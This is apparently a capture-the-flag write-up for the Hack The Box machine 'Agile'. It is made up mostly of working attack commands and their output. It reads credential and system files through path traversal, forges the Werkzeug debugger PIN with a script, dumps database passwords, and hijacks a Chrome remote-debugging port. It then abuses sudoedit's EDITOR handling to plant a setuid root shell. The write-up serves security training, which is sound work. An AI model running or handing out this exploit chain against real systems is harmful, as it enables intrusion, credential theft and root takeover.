Agile

Recon

nmap_scan.log

HTTP (80)

Writeup.png

During registration I used username as password and app crashed... But looks like Flask Debug is on.

Writeup-1.png

Once we are logged in we can add credentials and export them

Writeup-2.png

But you need to click Save Icon to actually save the record, otherwise it's gone and Export will complain.

After that it's making request to download, which could be vulnerable to LFI

Writeup-3.png

LFI

LFI confirmed

Writeup-4.png
└─$ curl -H "$(cat cookies)" 'http://superpass.htb/download?fn=../proc/self/environ' -so- | tr '\0' '\n'
LANG=C.UTF-8
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
HOME=/var/www
LOGNAME=www-data
USER=www-data
INVOCATION_ID=46ba1d21c2f54caba65e2d31c560afda
JOURNAL_STREAM=8:32960
SYSTEMD_EXEC_PID=1072
CONFIG_PATH=/app/config_prod.json

└─$ curl -H "$(cat cookies)" 'http://superpass.htb/download?fn=../proc/self/cmdline' -so- | tr '\0' ' '
/app/venv/bin/python3 /app/venv/bin/gunicorn --bind 127.0.0.1:5000 --threads=10 --timeout 600 wsgi:app 

└─$ curl -H "$(cat cookies)" 'http://superpass.htb/download?fn=../app/config_prod.json' -so-
{"SQL_URI": "mysql+pymysql://superpassuser:dSA6l7q*yIVs$39Ml6ywvgK@localhost/superpass"}

When file is not found app crashes and debug mode shows full path for application

└─$ curl -H "$(cat cookies)" 'http://superpass.htb/download?fn=../app/app/superpass/app.py' -so-
import json
import os
import sys
import flask
import jinja_partials
from flask_login import LoginManager
sys.path.insert(0, os.path.abspath(os.path.join(os.path.dirname(__file__), '..')))
from superpass.infrastructure.view_modifiers import response
from superpass.data import db_session

app = flask.Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(32)


def register_blueprints():
    from superpass.views import home_views
    from superpass.views import vault_views
    from superpass.views import account_views

    app.register_blueprint(home_views.blueprint)
    app.register_blueprint(vault_views.blueprint)
    app.register_blueprint(account_views.blueprint)


def setup_db():
    db_session.global_init(app.config['SQL_URI'])


def configure_login_manager():
    login_manager = LoginManager()
    login_manager.login_view = 'account.login_get'
    login_manager.init_app(app)

    from superpass.data.user import User

    @login_manager.user_loader
    def load_user(user_id):
        from superpass.services.user_service import get_user_by_id
        return get_user_by_id(user_id)


def configure_template_options():
    jinja_partials.register_extensions(app)
    helpers = {
        'len': len,
        'str': str,
        'type': type,
    }
    app.jinja_env.globals.update(**helpers)


def load_config():
    config_path = os.getenv("CONFIG_PATH")
    with open(config_path, 'r') as f:
        for k, v in json.load(f).items():
            app.config[k] = v


def configure():
    load_config()
    register_blueprints()
    configure_login_manager()
    setup_db()
    configure_template_options()


def enable_debug():
    from werkzeug.debug import DebuggedApplication
    app.wsgi_app = DebuggedApplication(app.wsgi_app, True)
    app.debug = True


def main():
    enable_debug()
    configure()
    app.run(debug=True)


def dev():
    configure()
    app.run(port=5555)


if __name__ == '__main__':
    main()
else:
    configure()

Nothing we can further exploit so let's move on to Flask Debug and leak Pin

There's no /console because in app.wsgi_app = DebuggedApplication(app.wsgi_app, True) evalex=True is not specified.

https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/werkzeug

└─$ curl -H "$(cat cookies)" 'http://superpass.htb/download?fn=../sys/class/net/eth0/address' -so- | python -c 'print(int(input().replace(":",""),16))'
345049967836
└─$ curl -H "$(cat cookies)" 'http://superpass.htb/download?fn=../etc/machine-id' -so-
ed5b159560f54721827644bc9b220d00
└─$ curl -H "$(cat cookies)" 'http://superpass.htb/download?fn=../proc/self/cgroup' -so-
0::/system.slice/superpass.service
import hashlib
from itertools import chain
probably_public_bits = [
    'www-data',  # username
    'flask.app',  # modname
    'wsgi_app',  # getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/app/venv/lib/python3.10/site-packages/flask/app.py'  # getattr(mod, '__file__', None),
]

private_bits = [
    '345049967836',  # str(uuid.getnode()),  /sys/class/net/ens33/address
    'ed5b159560f54721827644bc9b220d00superpass.service'  # get_machine_id(), /etc/machine-id
]

# h = hashlib.md5()  # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)
└─$ py pin.py
873-798-537
Writeup-5.png
(remote) www-data@agile:/app$ mysql -u superpassuser -p'dSA6l7q*yIVs$39Ml6ywvgK' superpass -e 'SHOW DATABASES;'
+--------------------+
| Database           |
+--------------------+
| information_schema |
| performance_schema |
| superpass          |
+--------------------+
(remote) www-data@agile:/app$ mysql -u superpassuser -p'dSA6l7q*yIVs$39Ml6ywvgK' superpass -e 'SHOW TABLES;'
+---------------------+
| Tables_in_superpass |
+---------------------+
| passwords           |
| users               |
+---------------------+
(remote) www-data@agile:/app$ mysql -u superpassuser -p'dSA6l7q*yIVs$39Ml6ywvgK' superpass -e 'SELECT * FROM users;'^C
+----+----------+--------------------------------------------------------------------------------------------------------------------------+
| id | username | hashed_password                                                                                                          |
+----+----------+--------------------------------------------------------------------------------------------------------------------------+
|  1 | 0xdf     | $6$rounds=200000$FRtvqJFfrU7DSyT7$8eGzz8Yk7vTVKudEiFBCL1T7O4bXl0.yJlzN0jp.q0choSIBfMqvxVIjdjzStZUYg6mSRB2Vep0qELyyr0fqF. |
|  2 | corum    | $6$rounds=200000$yRvGjY1MIzQelmMX$9273p66QtJQb9afrbAzugxVFaBhb9lyhp62cirpxJEOfmIlCy/LILzFxsyWj/mZwubzWylr3iaQ13e4zmfFfB1 |
|  9 | test02   | $6$rounds=200000$bPlQc5Y8w1Uua13Y$Xw5/tFq6qJJISYW.6SsJT2KxLRCg4fQM9KCLMZI73l4FJ/kBf/kjMQqc1e1SN4maV/mBM9bYCRRUGEfVAQAUI. |
+----+----------+--------------------------------------------------------------------------------------------------------------------------+
(remote) www-data@agile:/app$ mysql -u superpassuser -p'dSA6l7q*yIVs$39Ml6ywvgK' superpass -e 'SELECT * FROM passwords;'
+----+---------------------+---------------------+----------------+----------+----------------------+---------+
| id | created_date        | last_updated_data   | url            | username | password             | user_id |
+----+---------------------+---------------------+----------------+----------+----------------------+---------+
|  3 | 2022-12-02 21:21:32 | 2022-12-02 21:21:32 | hackthebox.com | 0xdf     | 762b430d32eea2f12970 |       1 |
|  4 | 2022-12-02 21:22:55 | 2022-12-02 21:22:55 | mgoblog.com    | 0xdf     | 5b133f7a6a1c180646cb |       1 |
|  6 | 2022-12-02 21:24:44 | 2022-12-02 21:24:44 | mgoblog        | corum    | 47ed1e73c955de230a1d |       2 |
|  7 | 2022-12-02 21:25:15 | 2022-12-02 21:25:15 | ticketmaster   | corum    | 9799588839ed0f98c211 |       2 |
|  8 | 2022-12-02 21:25:27 | 2022-12-02 21:25:27 | agile          | corum    | 5db7caa1d13cc37c9fc2 |       2 |
+----+---------------------+---------------------+----------------+----------+----------------------+---------+

SSH (22)

The passwords database contains passwords in plaintext

└─$ sshpass -p '5db7caa1d13cc37c9fc2' ssh corum@superpass.htb
corum@agile:~$ id
uid=1000(corum) gid=1000(corum) groups=1000(corum)

User.txt

corum@agile:~$ cat user.txt
259a0b27b4e46e42549824e82d7fbd08

Privilege Escalation

corum@agile:/etc/nginx/sites-enabled$ cat agile.htb.nginx
server {
    listen 80;
    server_name agile.htb;
    root /var/www/html;
    index index.html index.htm index.nginx-debian.html;

    location / {
        try_files $uri $uri/ =404;
    }
}
corum@agile:/etc/nginx/sites-enabled$ cat redirect.nginx
server {
    listen 80 default_server;
    listen 127.0.0.1:80 default_server;
    server_name _;
    return 301 http://superpass.htb;
}
corum@agile:/etc/nginx/sites-enabled$ cat superpass.nginx
server {
    listen 80;
    listen 127.0.0.1:80;
    server_name superpass.htb;
    proxy_read_timeout 300;
    proxy_connect_timeout 300;
    proxy_send_timeout 300;

    location /static {
        alias /app/app/superpass/static;
        expires 365d;
    }

    location /console {
        rewrite ^/console$ /console0xdf last;
    }

    location / {
        #include uwsgi_params;

        proxy_pass http://127.0.0.1:5000;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-Protocol $scheme;
    }
}
corum@agile:/etc/nginx/sites-enabled$ cat superpass-test.nginx
server {
    listen 127.0.0.1:80;
    server_name test.superpass.htb;

    location /static {
        alias /app/app-testing/superpass/static;
        expires 365d;
    }
    location / {
        include uwsgi_params;
        proxy_pass http://127.0.0.1:5555;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-Protocol $scheme;
    }
}

There's second application running on 5555 as runner, but it's test version of superpass.

corum@agile:/etc/nginx/sites-enabled$ ps aux  | grep 5555
runner      1071  0.0  0.6  31000 24164 ?        Ss   09:09   0:02 /app/venv/bin/python3 /app/venv/bin/gunicorn --bind 127.0.0.1:5555 wsgi-dev:app
runner      1074  0.0  1.5  78700 61116 ?        S    09:09   0:07 /app/venv/bin/python3 /app/venv/bin/gunicorn --bind 127.0.0.1:5555 wsgi-dev:app
corum      10672  0.0  0.0   4020  2124 pts/1    S+   14:22   0:00 grep --color=auto 5555

Port forward

└─$ sshpass -p '5db7caa1d13cc37c9fc2' ssh corum@superpass.htb -L 5555:0:5555

There's interactive test running by Selenium using Google Chrome

corum@agile:/app/app-testing/tests/functional$ ls -alh
total 20K
drwxr-xr-x 3 runner    runner 4.0K Feb  7  2023 .
drwxr-xr-x 3 runner    runner 4.0K Feb  6  2023 ..
drwxrwxr-x 2 runner    runner 4.0K Dec 12 14:28 __pycache__
-rw-r----- 1 dev_admin runner   34 Dec 12 14:27 creds.txt
-rw-r--r-- 1 runner    runner 2.7K Dec 12 14:27 test_site_interactively.py
corum@agile:/app/app-testing/tests/functional$ cat  creds.txt
cat: creds.txt: Permission denied
corum@agile:/app/app-testing/tests/functional$ cat test_site_interactively.py
corum@agile:/app/app-testing/tests/functional$ ps aux | grep debugging
runner     10803  0.1  2.6 34023392 104012 ?     Sl   14:28   0:00 /usr/bin/google-chrome --allow-pre-commit-input --crash-dumps-dir=/tmp --disable-background-networking --disable-client-side-phishing-detection --disable-default-apps --disable-gpu --disable-hang-monitor --disable-popup-blocking --disable-prompt-on-repost --disable-sync --enable-automation --enable-blink-features=ShadowDOMV0 --enable-logging --headless --log-level=0 --no-first-run --no-service-autorun --password-store=basic --remote-debugging-port=41829 --test-type=webdriver --use-mock-keychain --user-data-dir=/tmp/.com.google.Chrome.gOaz2K --window-size=1420,1080 data:,
runner     10868  0.5  4.0 1184772612 161628 ?   Sl   14:28   0:01 /opt/google/chrome/chrome --type=renderer --headless --crashpad-handler-pid=10810 --lang=en-US --enable-automation --enable-logging --log-level=0 --remote-debugging-port=41829 --test-type=webdriver --allow-pre-commit-input --ozone-platform=headless --disable-gpu-compositing --enable-blink-features=ShadowDOMV0 --lang=en-US --num-raster-threads=1 --renderer-client-id=5 --time-ticks-at-unix-epoch=-1733994574545999 --launch-time-ticks=19108362766 --shared-files=v8_context_snapshot_data:100 --field-trial-handle=0,i,13858580812853374367,2597758252139869236,131072 --disable-features=PaintHolding
└─$ sshpass -p '5db7caa1d13cc37c9fc2' ssh corum@superpass.htb -L 5555:0:5555 -L 41829:0:41829

https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/chrome-remote-debugger-pentesting/

Writeup-6.png
Writeup-7.png
Site
Username
Password

agile

edwards

d07867c6267dcb5df0af

twitter

dedwards__

7dbfe676b6b564ce5718

SSH (edwards)

└─$ sshpass -p 'd07867c6267dcb5df0af' ssh edwards@superpass.htb

edwards@agile:~$ id
uid=1002(edwards) gid=1002(edwards) groups=1002(edwards)

edwards@agile:~$ sudo -l
Matching Defaults entries for edwards on agile:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User edwards may run the following commands on agile:
    (dev_admin : dev_admin) sudoedit /app/config_test.json
    (dev_admin : dev_admin) sudoedit /app/app-testing/tests/functional/creds.txt

Privilege Escalation

edwards@agile:~$ sudo -u dev_admin sudoedit /app/app-testing/tests/functional/creds.txt
edwards:1d7ffjwrx#$d6qn!9nndqgde4

edwards@agile:~$ sudo -u dev_admin sudoedit /app/config_test.json
{
    "SQL_URI": "mysql+pymysql://superpasstester:VUO8A2c2#3FnLq3*a9DX1U@localhost/superpasstest"
}
edwards@agile:~$ sudo --version
Sudo version 1.9.9
Sudoers policy plugin version 1.9.9
Sudoers file grammar version 48
Sudoers I/O plugin version 1.9.9
Sudoers audit plugin version 1.9.9

sudo 1.8.0 to 1.9.12p1 - Privilege Escalation

edwards@agile:/tmp$ nano letmein.sh
edwards@agile:/tmp$ chmod +x letmein.sh
edwards@agile:/tmp$ cat letmein.sh
#!/bin/bash
install -m4777 /bin/bash /tmp/rootbash
edwards@agile:/tmp$ sudo EDITOR="vim -- /tmp/letmein.sh" -u dev_admin sudoedit /app/app-testing/tests/functional/creds.txt

Doesn't work. Let's find what dev_admin can access

edwards@agile:/tmp$ find / \( -user dev_admin -o -group dev_admin \) -ls 2>/dev/null
    78168      4 drwxr-x---   2 dev_admin dev_admin     4096 Feb  8  2023 /home/dev_admin
   149087      4 -rw-r-----   1 dev_admin runner          34 Dec 12 14:54 /app/app-testing/tests/functional/creds.txt
   149068      4 -r--r-----   1 dev_admin runner          99 Jan 25  2023 /app/config_test.json
    68899      4 drwxrwxr-x   5 root      dev_admin     4096 Feb  8  2023 /app/venv
    68905      4 drwxrwxr-x   2 root      dev_admin     4096 Dec 12 14:54 /app/venv/bin
    71565      4 -rw-rw-r--   1 root      dev_admin     1976 Dec 12 14:54 /app/venv/bin/activate
    69955     12 -rw-r--r--   1 root      dev_admin     9033 Dec 12 14:54 /app/venv/bin/Activate.ps1
    69956      4 -rw-r--r--   1 root      dev_admin     2044 Dec 12 14:54 /app/venv/bin/activate.fish
    69957      4 -rw-r--r--   1 root      dev_admin      902 Dec 12 14:54 /app/venv/bin/activate.csh
   149061      4 -r--r-----   1 dev_admin www-data        88 Jan 25  2023 /app/config_prod.json

Let's edit the activate script

edwards@agile:/tmp$ sudo EDITOR="vim -- /app/venv/bin/activate" -u dev_admin sudoedit /app/app-testing/tests/functional/creds.txt

edwards@agile:/tmp$ head -1 /app/venv/bin/activate
install -m4777 /bin/bash /tmp/rootbash

...wait

edwards@agile:/tmp$ /tmp/rootbash -p
edwards@agile:/tmp# id
uid=1002(edwards) gid=1002(edwards) euid=0(root) groups=1002(edwards)
edwards@agile:/tmp# cat /root/root.txt
0d58984644eac9cd62822c77d9378b51

Last updated